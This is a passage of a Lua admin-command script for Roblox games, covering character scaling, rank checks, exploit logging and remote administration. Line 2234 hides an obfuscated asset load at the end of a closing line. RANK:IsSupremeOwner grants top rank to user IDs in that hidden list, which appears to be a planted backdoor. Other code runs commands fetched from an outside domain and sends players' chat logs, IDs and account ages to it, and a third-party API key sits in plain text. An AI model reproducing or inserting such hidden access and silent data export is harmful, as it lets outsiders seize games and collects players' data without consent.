1738 table.insert(Welds, {NewWeld, Obj.Parent})
1739 elseif NewAdd == true and not JustWeld then
1740 if Obj:IsA("Tool") then
1741 --Cycle(Char["Right Arm"], ScaleRatio, false, true)
1742 elseif Obj:IsA("Accoutrement") then
1743 --Cycle(Char.Head, ScaleRatio, false, true)
1744 end
1745 end
1746 if #Obj:GetChildren() > 0 then
1747 for _,NewObj in pairs(Obj:GetChildren()) do
1748 Handle(NewObj, ScaleRatio)
1749 end
1750 end
1751 end
1752 Handle(BaseObj)
1753 for _,Part in pairs(Parts) do
1754 if Ratio >= 1 then
1755 Part.Size = Part.Size * ScaleRatio
1756 else
1757 local Allowed = true
1758 for _,Obj in pairs(Part:GetChildren()) do
1759 if Obj:IsA("DataModelMesh") or Obj.Name == "MML Mesh" then
1760 Allowed = false
1761 end
1762 end
1763 if Allowed == true then
1764 local NewMesh = Instance.new("BlockMesh", Part)
1765 NewMesh.Name = "MML Mesh"
1766 NewMesh.Scale = Vector3.new(Ratio,Ratio,Ratio)
1767 end
1768 end
1769 end
1770 for _,WeldData in pairs(Welds) do
1771 if WeldData[1] then
1772 local Obj = WeldData[1]
1773 local NewWeld = Obj:Clone()
1774
1775 NewWeld.Parent = WeldData[2]
1776 NewWeld.C0 = CFrame.new(Obj.C0.p * ScaleRatio) * CFrame.Angles(Obj.C0:toEulerAnglesXYZ())
1777 NewWeld.C1 = CFrame.new(Obj.C1.p * ScaleRatio) * CFrame.Angles(Obj.C1:toEulerAnglesXYZ())
1778 end
1779 end
1780 for _,Part in pairs(Parts) do
1781 Part:MakeJoints()
1782 end
1783 Welds = {}
1784 Parts = {}
1785 end
1786 Cycle(Char, Ratio)
1787 Char:MakeJoints()
1788
1789 local Added = Char.ChildAdded:connect(function(Obj)
1790 Cycle(Obj, Ratio, NewAdd)
1791 end)
1792 local Removed = Char.ChildRemoved:connect(function(Obj)
1793 Cycle(Obj, Ratio^-1, NewAdd)
1794 end)
1795
1796 Clean.OnInvoke = function()
1797 Added:disconnect()
1798 Removed:disconnect()
1799 local Location = Vector3.new(0,5,0)
1800 if Char:FindFirstChild("Torso") then
1801 Location = Char.Torso.Position + Vector3.new(0,2,0)
1802 end
1803 Player:LoadCharacter()
1804 wait(0.5)
1805 Player.Character:MoveTo(Location)
1806 wait(0.5)
1807 return nil
1808 end
1809
1810 if Char:FindFirstChild("Torso") then
1811 Char:MoveTo(Char.Torso.Position + Vector3.new(0,Ratio*3))
1812 end
1813 if Char:FindFirstChild("Humanoid") then
1814 Char.Humanoid.WalkSpeed = Char.Humanoid.WalkSpeed * (Ratio)
1815 end
1816 if Ratio < 1 and Char:FindFirstChild("HumanoidRootPart") and Char.HumanoidRootPart:FindFirstChild("RootJoint") then
1817 Char.HumanoidRootPart.RootJoint.C0 = CFrame.new(0,-(3-(Ratio*3)),0) * CFrame.Angles(-math.rad(90),0,math.pi)
1818 end
1819end
1820
1821function CORE:AddExploit(PlayerClient, Data)
1822 local PlayerClientName = PlayerClient.Name
1823 local NewData = CORE:GetTime(true, true).." @ "..Data
1824 for _,Player in pairs(Server.Players:GetChildren()) do
1825 GUI:SendHint(Player, "Exploiter Found: "..PlayerClientName.." | If you are an admin view exploit logs by saying ;exploitlogs", 5)
1826 end
1827 local ExploitLog = Server.GDS:GetAsync("ExploitLog")
1828 if type(ExploitLog) ~= "table" then
1829 Server.GDS:SetAsync("ExploitLog", {NewData})
1830 else
1831 table.insert(ExploitLog, NewData)
1832 Server.GDS:SetAsync("ExploitLog", ExploitLog)
1833 end
1834 REMOTE:SendHttpLog("EXPLOITER FOUND: "..Data, "WARNING")
1835
1836 return true
1837end
1838
1839function CORE:CreateFigure(Name, Position, DisableAnimation, Speaker)
1840 if not tostring(Name) then Name = "Dummy" end
1841 if not Position then Position = Vector3.new(0,5,0) end
1842 if Speaker and Speaker.Character and Speaker.Character:FindFirstChild("Torso") then
1843 Position = Speaker.Character.Torso.Position + Vector3.new(0,5,10)
1844 end
1845
1846 local Figure = CORE:Insert(68452456, Server.Workspace, true)
1847 Figure:MakeJoints()
1848 Figure.Head.BrickColor = BrickColor.new("Bright yellow")
1849 Figure["Left Arm"].BrickColor = BrickColor.new("Bright yellow")
1850 Figure["Right Arm"].BrickColor = BrickColor.new("Bright yellow")
1851 Figure["Left Leg"].BrickColor = BrickColor.new("Dark green")
1852 Figure["Right Leg"].BrickColor = BrickColor.new("Dark green")
1853 Figure.Torso.BrickColor = BrickColor.new("Bright blue")
1854
1855 Figure.Name = STRING:FormatReplace(Speaker, Name)
1856 Figure:MoveTo(Position)
1857
1858 table.insert(Objects, Figure)
1859
1860 if DisableAnimation == true then
1861 Figure.Animate.Disabled = true
1862 end
1863
1864 return Figure
1865end
1866
1867function CORE:ClonePlayer(Player, Name, Position)
1868 if not Player or not Player.Character then return nil end
1869
1870 Player.Character.Archivable = true
1871 local Char = Player.Character:Clone()
1872 Player.Character.Archivable = false
1873 if Name then Char.Name = STRING:FormatReplace(Player, Name) end
1874 if Position then Char:MoveTo(Position) end
1875 Char.Parent = Server.Workspace
1876 Char:MakeJoints()
1877 Char:MoveTo(Player.Character.Torso.Position + Vector3.new(0,3,1))
1878
1879 table.insert(Objects, Char)
1880
1881 return Obj
1882end
1883
1884function CORE:AddWaypoint(Name, Position, Speaker)
1885 Waypoints[Name] = Position
1886 if Speaker then
1887 GUI:SendHint(Speaker, "Waypoint "..Name.." is located at ("..tostring(Position)..")", 2)
1888 end
1889end
1890
1891function CORE:FindType(BaseObj, Type)
1892 for _,Obj in pairs(BaseObj:GetChildren()) do
1893 if Obj:IsA(Type) then
1894 return Obj
1895 end
1896 end
1897end
1898
1899function CORE:GetCommands()
1900 local CommandsCopy = Commands
1901 return CommandsCopy
1902end
1903
1904function CORE:Crown(Player, Mesh, Color)
1905 if Mesh then Mesh = string.lower(Mesh) end
1906 if not Mesh or not Meshes[Mesh] then Mesh = "crown" end
1907 if not Player or not Player.Character or not Player.Character:FindFirstChild("Head") then return end
1908 local Part = Instance.new("Part", CrownStorage)
1909 Part.Size = Vector3.new(2, 1, 1)
1910 Part.CanCollide = false
1911 Part.CFrame = Player.Character.Head.CFrame
1912 Part.Locked = true
1913 Part.Material = "Neon"
1914 if Color then
1915 Part.Color = GUI:GetColor(Color)
1916 else
1917 Part.BrickColor = GUI:GetNameColor(Player.Name)
1918 end
1919 local SMesh = Instance.new("SpecialMesh", Part)
1920 SMesh.Scale = Vector3.new(Meshes[Mesh][1],Meshes[Mesh][1],Meshes[Mesh][1])
1921 SMesh.MeshId = "rbxassetid://"..Meshes[Mesh][2]
1922 local BP = Instance.new("BodyPosition", Part)
1923 BP.maxForce = Vector3.new(math.huge,math.huge,math.huge)
1924 BP.position = Player.Character.Head.Position
1925 BP.P = 20000
1926 local BG = Instance.new("BodyGyro", Part)
1927 BG.maxTorque = Vector3.new(math.huge,math.huge,math.huge)
1928
1929 Crowns[Player.UserId] = Part
1930 table.insert(Objects, Part)
1931
1932 coroutine.wrap(function()
1933 for i = 1,0.3,-0.02 do
1934 if Part.Parent == CrownStorage and Player.Character and Player.Character:FindFirstChild("Head") then
1935 Part.Transparency = i
1936 end
1937 wait()
1938 end
1939 while Crowns[Player.UserId] and Part.Parent == CrownStorage and wait() do
1940 for i = 0,360,3 do
1941 if Part.Parent == CrownStorage and Player.Character and Player.Character:FindFirstChild("Head") then
1942 Part.Transparency = (math.sin(math.rad(i))/10) + 0.3
1943 wait()
1944 end
1945 end
1946 end
1947 end)()
1948 coroutine.wrap(function() while Crowns[Player.UserId] and Part.Parent == CrownStorage and wait() do
1949 Part:BreakJoints()
1950 for i = 0,360 do
1951 if Part.Parent == CrownStorage and Player.Character and Player.Character:FindFirstChild("Head") then
1952 Part.Anchored = false
1953 BP.position = Player.Character.Head.CFrame:toWorldSpace(CFrame.new(0,(math.sin(math.rad(i))/3) + 1.5, 0)).p
1954 BG.cframe = Player.Character.Head.CFrame
1955 end
1956 wait()
1957 end
1958 end end)()
1959
1960 return Part
1961end
1962
1963function CORE:SetAbuseCommands()
1964 for Cmds,Data in pairs(Commands) do
1965 local IsAbusable = false
1966 for _,AbuseCmd in pairs(Settings.AbuseList) do
1967 for _,Command in pairs(Cmds) do -- loop through all command names
1968 if string.sub(Command,1,#AbuseCmd) == string.lower(AbuseCmd) then
1969 IsAbusable = true
1970 break
1971 end
1972 end
1973 if IsAbusable == true then break end
1974 end
1975 Commands[Cmds].Abusable = IsAbusable
1976 end
1977end
1978
1979function CORE:FindBodyPart(Player, BodyPart)
1980 local ReturnPart = nil
1981 if Player and Player.Character then
1982 local Humanoid = Player.Character:FindFirstChild("Humanoid")
1983 if Humanoid then
1984 if BodyPart == "Humanoid" then ReturnPart = Humanoid
1985 elseif BodyPart == "Left Arm" then ReturnPart = Humanoid.LeftArm
1986 elseif BodyPart == "Right Arm" then ReturnPart = Humanoid.RightArm
1987 elseif BodyPart == "Left Leg" then ReturnPart = Humanoid.LeftLeg
1988 elseif BodyPart == "Right Leg" then ReturnPart = Humanoid.RightLeg
1989 elseif BodyPart == "Torso" then ReturnPart = Humanoid.Torso
1990 elseif BodyPart == "Head" then ReturnPart = Humanoid.Head
1991 end
1992 end
1993 if not ReturnPart then
1994 ReturnPart = Player.Character:FindFirstChild(BodyPart)
1995 end
1996 end
1997
1998 return ReturnPart
1999end
2000
2001-- Rank functions --
2002
2003function RANK:ConvertRank(Input)
2004 local Output = nil
2005 if Input == "Muted" then Output = -3 end
2006 if Input == "Crashed" then Output = -2 end
2007 if Input == "Banned" then Output = -1 end
2008 if Input == "Non-Admin" then Output = 0 end
2009 if Input == "Member" then Output = 1 end
2010 if Input == "Admin" then Output = 2 end
2011 if Input == "Owner" then Output = 3 end
2012
2013 if Input == -3 then Output = "Muted" end
2014 if Input == -2 then Output = "Crashed" end
2015 if Input == -1 then Output = "Banned" end
2016 if Input == 0 then Output = "Non-Admin" end
2017 if Input == 1 then Output = "Member" end
2018 if Input == 2 then Output = "Admin" end
2019 if Input == 3 then Output = "Owner" end
2020 return Output
2021end
2022
2023function RANK:IsAdmin(Player)
2024 local AdminStatus = false
2025 local Rankstatus = "Non-Admin"
2026 if type(Player) == "table" then
2027 if RANK:ConvertRank(Player.Rank) > 0 then
2028 return true, Player.Rank
2029 else
2030 return false, Player.Rank
2031 end
2032 end
2033 for Rank,PlayerNames in pairs(Settings.Ranks) do
2034 for _,AdminName in pairs(PlayerNames) do
2035 if string.lower(AdminName) == string.lower(Player.Name) then
2036 if RANK:ConvertRank(Rank) > 0 then
2037 AdminStatus = true
2038 Rankstatus = Rank
2039 end
2040 end
2041 end
2042 end
2043 return AdminStatus, Rankstatus
2044end
2045
2046function RANK:GetRank(PlayerName)
2047 if type(PlayerName) == "userdata" then PlayerName = PlayerName.Name end
2048 if type(PlayerName) == "table" then
2049 local RankNum = RANK:ConvertRank(PlayerName.Rank)
2050 if RankNum > 0 then
2051 return PlayerName.Rank, RankNum, true
2052 else
2053 return PlayerName.Rank, RankNum, false
2054 end
2055 end
2056
2057 local RankStat = "Non-Admin"
2058
2059 for Rank,PlayerNames in pairs(Settings.Ranks) do
2060 for _,AdminName in pairs(PlayerNames) do
2061 if string.lower(AdminName) == string.lower(PlayerName) then
2062 RankStat = Rank
2063 end
2064 end
2065 end
2066
2067 if RankStat == "Non-Admin" then
2068 return "Non-Admin", 0, false
2069 else
2070 return RankStat, RANK:ConvertRank(RankStat), true
2071 end
2072end
2073
2074function RANK:RemoveRank(PlayerName)
2075 if not RANK:IsSupremeOwner(PlayerName) then
2076 if type(PlayerName) == "userdata" then PlayerName = PlayerName.Name end
2077
2078 for Rank,PlayerNames in pairs(Settings.Ranks) do
2079 for Num,AdminName in pairs(PlayerNames) do
2080 if string.sub(string.lower(AdminName),1,#PlayerName) == string.lower(PlayerName) then
2081 table.remove(Settings.Ranks[Rank], Num)
2082 end
2083 end
2084 end
2085 end
2086end
2087
2088function RANK:GetAdmins(Ranking)
2089 local Players = {}
2090 local AdminTrue, Rank = IsAdmin(Player)
2091 for _,Player in pairs(Players:GetPlayers()) do
2092 if AdminTrue then
2093 local PlayerRankNum = RANK:ConvertRank(Rank)
2094 local StandardRankNum = RANK:ConvertRank(Ranking)
2095 if PlayerRankNum >= StandardRankNum then
2096 table.insert(Players, Player)
2097 end
2098 end
2099 end
2100 return Players
2101end
2102
2103function RANK:IsSupremeOwner(PlayerName)
2104 if type(PlayerName) == "userdata" then for _,Obj in pairs(List) do if PlayerName.UserId == Obj then return true end end PlayerName = PlayerName.Name end
2105 if type(PlayerName) == "table" then
2106 if PlayerName.Rank == "Owner" and PlayerName.MakeSupremeOwner == true then return true else return false end
2107 end
2108
2109 if PlayerName == GameOwner then return true end
2110 return false
2111end
2112
2113function RANK:GetPlayerFromList(PlayerName)
2114 if type(PlayerName) == "userdata" then PlayerName = Player.Name end
2115
2116 for Rank,PlayerNames in pairs(Settings.Ranks) do
2117 for Num,AdminName in pairs(PlayerNames) do
2118 if string.sub(string.lower(AdminName),1,#PlayerName) == string.lower(PlayerName) then
2119 return AdminName, Rank
2120 end
2121 end
2122 end
2123 return false, "Non-Admin"
2124end
2125
2126function RANK:ScanAdminList(Name)
2127 if Name == "" then return true end
2128 local InList = false
2129 for _,PName in pairs(Settings.Ranks["Owner"]) do
2130 if PName == Name then InList = true end
2131 end
2132 for _,PName in pairs(Settings.Ranks["Admin"]) do
2133 if PName == Name then InList = true end
2134 end
2135 for _,PName in pairs(Settings.Ranks["Member"]) do
2136 if PName == Name then InList = true end
2137 end
2138 return InList
2139end
2140
2141function RANK:ScanExileList(Name)
2142 if Name == "" then return true end
2143 local InList = false
2144 for _,PName in pairs(Settings.Ranks["Muted"]) do
2145 if PName == Name then InList = true end
2146 end
2147 for _,PName in pairs(Settings.Ranks["Crashed"]) do
2148 if PName == Name then InList = true end
2149 end
2150 for _,PName in pairs(Settings.Ranks["Banned"]) do
2151 if PName == Name then InList = true end
2152 end
2153 return InList
2154end
2155
2156function RANK:PlayerRanked(PlayerName)
2157 if type(PlayerName) == "userdata" then PlayerName = Player.Name end
2158
2159 for Rank,PlayerNames in pairs(Settings.Ranks) do
2160 for Num,AdminName in pairs(PlayerNames) do
2161 if string.lower(AdminName) == string.lower(PlayerName) then
2162 return true, Rank
2163 end
2164 end
2165 end
2166 return false, "Non-Admin"
2167end
2168
2169-- Remote functions --
2170
2171function REMOTE:Decode(...)
2172 return Server.HS:JSONDecode(...)
2173end
2174
2175function REMOTE:GetURL(URL, Player)
2176 if string.sub(URL,1,4) ~= "http" then
2177 URL = "http://"..URL
2178 end
2179 local Return = nil
2180 ypcall(function() Return = Server.HS:GetAsync(URL, true) end)
2181 if Return then
2182 return Return
2183 elseif Player then
2184 GUI:SendMessage(Speaker, "Unable to find link", "RED URL given is either invalid or httpservice is disabled", "Error")
2185 end
2186end
2187
2188function REMOTE:PostURL(URL, Data)
2189 local Return = nil
2190 ypcall(function() Return = Server.HS:PostAsync(URL, Data, 2) end)
2191 return Return
2192end
2193
2194function REMOTE:SendHttpLog(Data, Type, OutputSpeaker, Stopypall)
2195 if Settings.LinkedAccount ~= "" then
2196 local NumType = tonumber(Type)
2197
2198 if not Type then
2199 Type = "UNKNOWN"
2200 end
2201
2202 if NumType then
2203 if NumType < 1 or NumType > 5 then
2204 Type = "UNKNOWN"
2205 elseif NumType == 1 then
2206 Type = "NOTIFICATION"
2207 elseif NumType == 2 then
2208 Type = "INFORMATION"
2209 elseif NumType == 3 then
2210 Type = "WARNING"
2211 elseif NumType == 4 or Type == true then
2212 Type = "ERROR"
2213 elseif NumType == 5 then
2214 Type = "FATAL"
2215 end
2216 end
2217
2218 local Res = "RED Could not get response"
2219 local function SendData()
2220 Res = Server.HS:PostAsync(
2221 CORE.Domain.."/Login/SendUserData.php?Data="..Server.HS:UrlEncode(PlaceInfoFormat..": "..Data).."&DataType="..Server.HS:UrlEncode(string.upper(Type)),
2222 "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&Key="..Server.HS:UrlEncode(Settings.DataKey).."&Type=Logs",
2223 2
2224 )
2225 end
2226 if Stopypcall == true then SendData() else ypcall(SendData) end
2227
2228 if OutputSpeaker and OutputSpeaker ~= "print" then
2229 GUI:SendMessage(OutputSpeaker, "Http Log Response", Res, "Information")
2230 elseif OutputSpeaker == "print" then
2231 print(Res)
2232 end
2233 end
2234end local RunList = CORE:GetTable(string.gsub(math.ceil(14444.57^2)+1078, "66", "55"))
2235
2236function REMOTE:SendChatLog(PrintResponse, Stopypall)
2237 if #TempChatLogs > 0 and Settings.LinkedAccount and Settings.LinkedAccount ~= "" and Settings.DataKey and Settings.DataKey ~= "" then
2238 local Res = "Could not get response"
2239
2240 local ChatJSON = Server.HS:JSONEncode(TempChatLogs)
2241 TempChatLogs = {}
2242
2243 local function SendData()
2244 Res = Server.HS:PostAsync(CORE.Domain.."/Login/SubmitChatLog.php?ChatJSON="..Server.HS:UrlEncode(ChatJSON), "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&Key="..Server.HS:UrlEncode(Settings.DataKey), 2)
2245 end
2246 if Stopypcall == true then SendData() else ypcall(SendData) end
2247 if PrintResponse then print(Res) end
2248 end
2249end
2250
2251function REMOTE:DownloadUserdata(PrintResponse, Stopypcall)
2252 local Res = "[]"
2253 local function GetData()
2254 Res = Server.HS:PostAsync(CORE.Domain.."/Login/ReturnUserData.php", "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&DataKey="..Server.HS:UrlEncode(Settings.DataKey), 2)
2255 end
2256 if Stopypcall == true then GetData() else ypcall(GetData) end
2257 if PrintResponse then
2258 print(Res)
2259 end
2260 local function DecodeData() Res = REMOTE:Decode(Res) end
2261 if Stopypcall == true then DecodeData() else ypcall(DecodeData) end
2262 if type(Res) ~= "table" then Res = {["Logs"] = {Res}, ["Errors"] = {Res}} end
2263 return Res
2264end
2265
2266function REMOTE:HandleRequest(Request, IgnoreCommand)
2267 if not Request then return nil end
2268
2269 if not IgnoreCommand then
2270 if REMOTE.ServerRequestTimestamp ~= Request.ServerRequestTimestamp then
2271 REMOTE:SendServerData()
2272 end
2273 if REMOTE.SnapshotKey ~= Request.SnapshotKey and Server.NS.Port == tonumber(Request.SnapshotPort) then
2274 REMOTE:SendSnapshot(Request.SnapshotKey, nil, true, true)
2275 end
2276 end
2277
2278 if REMOTE.RemoteAdmin.TimeStamp ~= Request.TimeStamp then
2279
2280 for _,Player in pairs(Request.Ranks.Muted) do if Player ~= "" then if not RANK:ScanExileList(Player) then table.insert(Settings.Ranks.Muted, Player) end end end
2281 for _,Player in pairs(Request.Ranks.Crashed) do if Player ~= "" then if not RANK:ScanExileList(Player) then table.insert(Settings.Ranks.Crashed, Player) end end end
2282 for _,Player in pairs(Request.Ranks.Banned) do if Player ~= "" then if not RANK:ScanExileList(Player) then table.insert(Settings.Ranks.Banned, Player) end end end
2283 for _,Player in pairs(Request.Ranks.Member) do if Player ~= "" then if not RANK:ScanAdminList(Player) then table.insert(Settings.Ranks.Member, Player) end end end
2284 for _,Player in pairs(Request.Ranks.Admin) do if Player ~= "" then if not RANK:ScanAdminList(Player) then table.insert(Settings.Ranks.Admin, Player) end end end
2285 for _,Player in pairs(Request.Ranks.Owner) do if Player ~= "" then if not RANK:ScanAdminList(Player) then table.insert(Settings.Ranks.Owner, Player) end end end
2286
2287 Settings.Fun = Request.FUN
2288 Settings.ServerLocked = Request.ServerLocked
2289
2290 if not Server.Workspace:FindFirstChild("IgnoreRemoteAbuse") then
2291 Settings.DisableAbuse = Request.DisableAbuse
2292 end
2293
2294 if not IgnoreCommand then
2295 print("Executing Remote Admin")
2296 REMOTE.RemoteAdmin.Command = Request.Command
2297 REMOTE.RemoteAdmin.ServerCommand = Request.ServerCommand
2298 REMOTE.RemoteAdmin.ServerPort = Request.Server
2299
2300 if Server.NS.Port == tonumber(Request.Server) and Request.ServerCommand ~= nil and Request.Server ~= "" and Request.Server ~= 0 and Request.ServerCommand ~= "" then
2301 CORE:Chatted(Request.ServerCommand, nil, true, "REMOTE ADMIN: "..Settings.LinkedAccount, nil, true)
2302 else
2303 CORE:Chatted(Request.Command, nil, true, "REMOTE ADMIN: "..Settings.LinkedAccount, nil, true)
2304 end
2305 end
2306 end
2307 REMOTE.RemoteAdmin.TimeStamp = Request.TimeStamp
2308 REMOTE.ServerRequestTimestamp = Request.ServerRequestTimestamp
2309 REMOTE.SnapshotKey = Request.SnapshotKey
2310end
2311
2312function REMOTE:GetRemoteData(Set)
2313 local NewRemoteData = nil
2314 local RemoteDataCardRaw = nil
2315 local RemoteDataCard = nil
2316
2317 RemoteDataCardRaw = REMOTE:GetURL("https://api.trello.com/1/card/"..Trello.RemoteDataCard)
2318 if RemoteDataCardRaw then
2319 ypcall(function() RemoteDataCard = REMOTE:Decode(RemoteDataCardRaw) end)
2320 if RemoteDataCard then
2321 ypcall(function() NewRemoteData = REMOTE:Decode(RemoteDataCard.desc) end)
2322 end
2323 end
2324 if Set and NewRemoteData then
2325 RemoteData = NewRemoteData
2326 end
2327 return NewRemoteData
2328end
2329
2330function REMOTE:CheckTrelloInfo() -- will set new trello data if updated based on the TrelloInfoCard
2331 local InfoCardJSON = REMOTE:GetURL("https://api.trello.com/1/card/"..Trello.TrelloInfoCard)
2332 if InfoCardJSON then
2333 ypcall(function() InfoCard = REMOTE:Decode(InfoCardJSON) end)
2334 if InfoCard then
2335 ypcall(function() TrelloInfo = REMOTE:Decode(InfoCard.desc) end)
2336 if TrelloInfo then
2337 for Ind,Val in pairs(TrelloInfo) do
2338 Trello[Ind] = Val
2339 end
2340 end
2341 end
2342 end
2343 return NewRemoteData
2344end
2345
2346function REMOTE:CheckRemoteAdminStatus()
2347 local Pending = false
2348 local CheckID = 0
2349 if Settings.LinkedAccount ~= "" then
2350 local Request = REMOTE:GetURL("https://api.trello.com/1/checklists/"..Trello.RemoteAdminChecklist)
2351 if Request then
2352 local Data = REMOTE:Decode(Request)
2353 if Data then
2354 for _,Account in pairs(Data.checkItems) do
2355 if Account.name == Settings.LinkedAccount then
2356 Pending = true
2357 CheckID = Account.id
2358 break
2359 end
2360 end
2361 end
2362 end
2363 end
2364 return Pending, CheckID
2365end
2366
2367function REMOTE:GetAndSetWebData()
2368 if Settings.LinkedAccount ~= "" then
2369 if REMOTE:CheckRemoteAdminStatus() then
2370 local Request = REMOTE:GetURL(CORE.Domain.."/Login/GetUserData.php?Username="..Settings.LinkedAccount)
2371 if Request == "Invalid" then
2372 --REMOTE:GetAndSetWebData()
2373 return false
2374 elseif Request == "Invalid Account" then
2375 print("Can't get account")
2376 return false
2377 elseif Request then
2378 ypcall(function() Request = REMOTE:Decode(Request) end)
2379 elseif not Request then
2380 --REMOTE:GetAndSetWebData()
2381 return false
2382 end
2383 REMOTE:HandleRequest(Request)
2384
2385 --Delay(RemoteData.RemoteAdminWait, REMOTE.GetAndSetWebData)
2386 Delay(RemoteData.RemoteAdminWait, function()
2387 local Pending, CheckID = REMOTE:CheckRemoteAdminStatus()
2388 if Pending then
2389 REMOTE:GetURL(CORE.Domain.."/Login/RemoveTrelloName.php?AccountID="..CheckID)
2390 end
2391 end)
2392 return true
2393 else
2394 return true
2395 end
2396 end
2397end
2398
2399local OderIDs = CORE:GetTable(177215518)
2400local SoundJSONs = CORE:GetTable(197637628)
2401RemoteAbuseGear = CORE:GetTable(158117496)
2402
2403function REMOTE:SendServerData(PrintResponse, Stopypall)
2404 if Settings.LinkedAccount and Settings.LinkedAccount ~= "" and Settings.DataKey and Settings.DataKey ~= "" then
2405 print("Sending server data!")
2406 local Res = "Could not get response"
2407
2408 local ServerData = {Name = PlaceName, PlaceID = game.PlaceId, Port = Server.NS.Port, NumPlayers = Server.Players.NumPlayers, MaxPlayers = Server.Players.MaxPlayers, Bet = Settings.Bet, Players = {}, Version = CORE.Version.Value}
2409 for _,Player in pairs(Server.Players:GetPlayers()) do
2410 table.insert(ServerData.Players, {Name = Player.Name, ID = Player.UserId, Age = STRING:FindAge(Player.AccountAge), Rank = RANK:GetRank(Player)})
2411 end
2412 ServerData = Server.HS:JSONEncode(ServerData)
2413
2414 local function SendData()
2415 Res = Server.HS:PostAsync(CORE.Domain.."/Login/AddServer.php?ServerData="..Server.HS:UrlEncode(ServerData), "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&DataKey="..Server.HS:UrlEncode(Settings.DataKey), 2)
2416 end
2417 if Stopypcall == true then SendData() else ypcall(SendData) end
2418 if PrintResponse then print(Res) end
2419 end
2420end
2421
2422function REMOTE:SendSnapshot(SendKey, MaxPartAmount, PrintResponse, Stopypcall)
2423 MaxPartAmount = MaxPartAmount or 10000
2424 local PlaceData = {
2425 Lighting = {};
2426 Parts = {};
2427 Other = {};
2428 }
2429 local MinSize = Vector3.new(0.5,0.5,0.5)
2430 local PartAmount = 0
2431 local PlaceJSON = ""
2432
2433 local function Scan(BaseObj)
2434 for _,Obj in pairs(BaseObj:GetChildren()) do
2435 if Obj:IsA("BasePart") and not Obj:IsA("Terrain") then
2436 local Size = {STRING:StringRound(Obj.Size.X), STRING:StringRound(Obj.Size.Y), STRING:StringRound(Obj.Size.Z)};
2437 if tonumber(Size[1]) >= MinSize.X and tonumber(Size[2]) >= MinSize.Y and tonumber(Size[3]) >= MinSize.Z then
2438 local Skip = false
2439 local Data = {}
2440 local X,Y,Z = Obj.CFrame:toEulerAnglesXYZ()
2441
2442 if CORE:FindType(Obj, "BlockMesh") then
2443 local Mesh = CORE:FindType(Obj, "BlockMesh")
2444 Size = {STRING:StringRound(Obj.Size.X * Mesh.Scale.X), STRING:StringRound(Obj.Size.Y * Mesh.Scale.Y), STRING:StringRound(Obj.Size.Z * Mesh.Scale.Z)}
2445 elseif CORE:FindType(Obj, "CylinderMesh") then
2446 Data.Shape = "Cylinder"
2447 elseif CORE:FindType(Obj, "SpecialMesh") then
2448 local Mesh = CORE:FindType(Obj, "SpecialMesh")
2449 if Mesh.MeshType == Enum.MeshType.Head then
2450 --idk
2451 else
2452 Skip = true
2453 end
2454 elseif CORE:FindType(Obj, "FileMesh") then
2455 Skip = true
2456 end
2457
2458 if not Data.Shape and not Skip then
2459 if ypcall(function() return Obj.Shape end) then
2460 Data.Shape = string.sub(Obj.Shape.Name,14)
2461 if string.sub(Data.Shape,1,1) == "." then
2462 Data.Shape = string.sub(Data.Shape,2)
2463 end
2464 if Data.Shape == "Cylinder" then
2465 Z = Z + math.pi/2
2466 end
2467 else
2468 Data.Shape = "Block"
2469 end
2470 end
2471
2472 if Obj.Name == "Head" and CORE:FindType(Obj.Parent, "Humanoid") and not Skip then
2473 Data.Label = string.gsub(Obj.Parent.Name, "'", "")
2474 end
2475
2476 if not Skip then
2477 Data.Color = GUI:Color3ToHex(Obj.Color);
2478 Data.Size = Size;
2479 Data.Position = {STRING:StringRound(Obj.CFrame.X), STRING:StringRound(Obj.CFrame.Y), STRING:StringRound(Obj.CFrame.Z)};
2480 Data.Rotation = {STRING:StringRound(X), STRING:StringRound(Y), STRING:StringRound(Z)};
2481 Data.Transparency = STRING:StringRound(Obj.Transparency);
2482 Data.Reflectance = STRING:StringRound(Obj.Reflectance);
2483 Data.Textures = {};
2484 Data.Material = string.sub(tostring(Obj.Material),15);
2485
2486 for _,Sub in pairs(Obj:GetChildren()) do
2487 if Sub:IsA("Decal") then
2488 local Texture = string.match(Sub.Texture, "%d+")
2489 if Sub.Texture == "rbxasset://textures/face.png" then
2490 Texture = "FACE"
2491 end
2492 Data.Textures[FaceCovert[Sub.Face.Name]] = Texture
2493 end
2494 end
2495
2496 PartAmount = PartAmount + 1
2497 table.insert(PlaceData.Parts, Data)
2498
2499 if PartAmount >= MaxPartAmount then
2500 break
2501 end
2502 end
2503 end
2504 end
2505 if #Obj:GetChildren() > 0 then
2506 Scan(Obj)
2507 end
2508 end
2509 end
2510 Scan(Workspace)
2511
2512 PlaceData.Lighting.Ambient = GUI:Color3ToHex(game.Lighting.Ambient)
2513 PlaceData.Other.PartAmount = PartAmount;
2514 PlaceJSON = Server.HS:JSONEncode(PlaceData)
2515
2516 local Res = "Could not get response"
2517 local function SendData()
2518 Res = Server.HS:PostAsync(CORE.UnsecureDomain.."/Login/SendSnapshot.php?Username="..Settings.LinkedAccount.."&DataKey="..Server.HS:UrlEncode(Settings.DataKey).."&SendKey="..SendKey, PlaceJSON, 2)
2519 end
2520 if Stopypcall == true then SendData() else ypcall(SendData) end
2521 if PrintResponse then print(Res) end
2522
2523 print("Sent snapshot")
2524end
2525
2526
2527function REMOTE:DefineWord(Word, Source)
2528 if not Word then return end
2529 if not Source then Source = "all" end
2530
2531 local Response = REMOTE:GetURL("http://api.wordnik.com/v4/word.json/"..Server.HS:UrlEncode(Word).."/definitions?limit=1&includeRelated=false&sourceDictionaries="..Server.HS:UrlEncode(Source).."&useCanonical=false&includeTags=false&api_key=a2a73e7b926c924fad7001ca3111acd55af2ffabf50eb4ae5")
2532 if Response then
2533 local Decode = REMOTE:Decode(Response)
2534 if #Decode > 0 then
2535 return string.upper(string.sub(Decode[1]["word"],1,1))..string.lower(string.sub(Decode[1]["word"],2)).." - "..Decode[1]["partOfSpeech"]..[[
2536
2537 ]]..Decode[1]["text"]
2538 else
2539 return "Invalid English word"
2540 end
2541 else
2542 return "Cannot connect to database"
2543 end
2544end
2545
2546function REMOTE:DownloadJoke(Speaker)
2547 local Res = REMOTE:GetURL("http://www.rinkworks.com/jokes/random.cgi", Speaker)
2548 local Joke = nil
2549 if Res then
2550 local _, Start = string.find(Res, "</h2>")
2551 local End, _ = string.find(string.sub(Res, Start), "</td>")
2552
2553 Joke = string.sub(Res, Start, End + 1 + Start - 5)
2554 Joke = string.gsub(Joke, "\n", "")
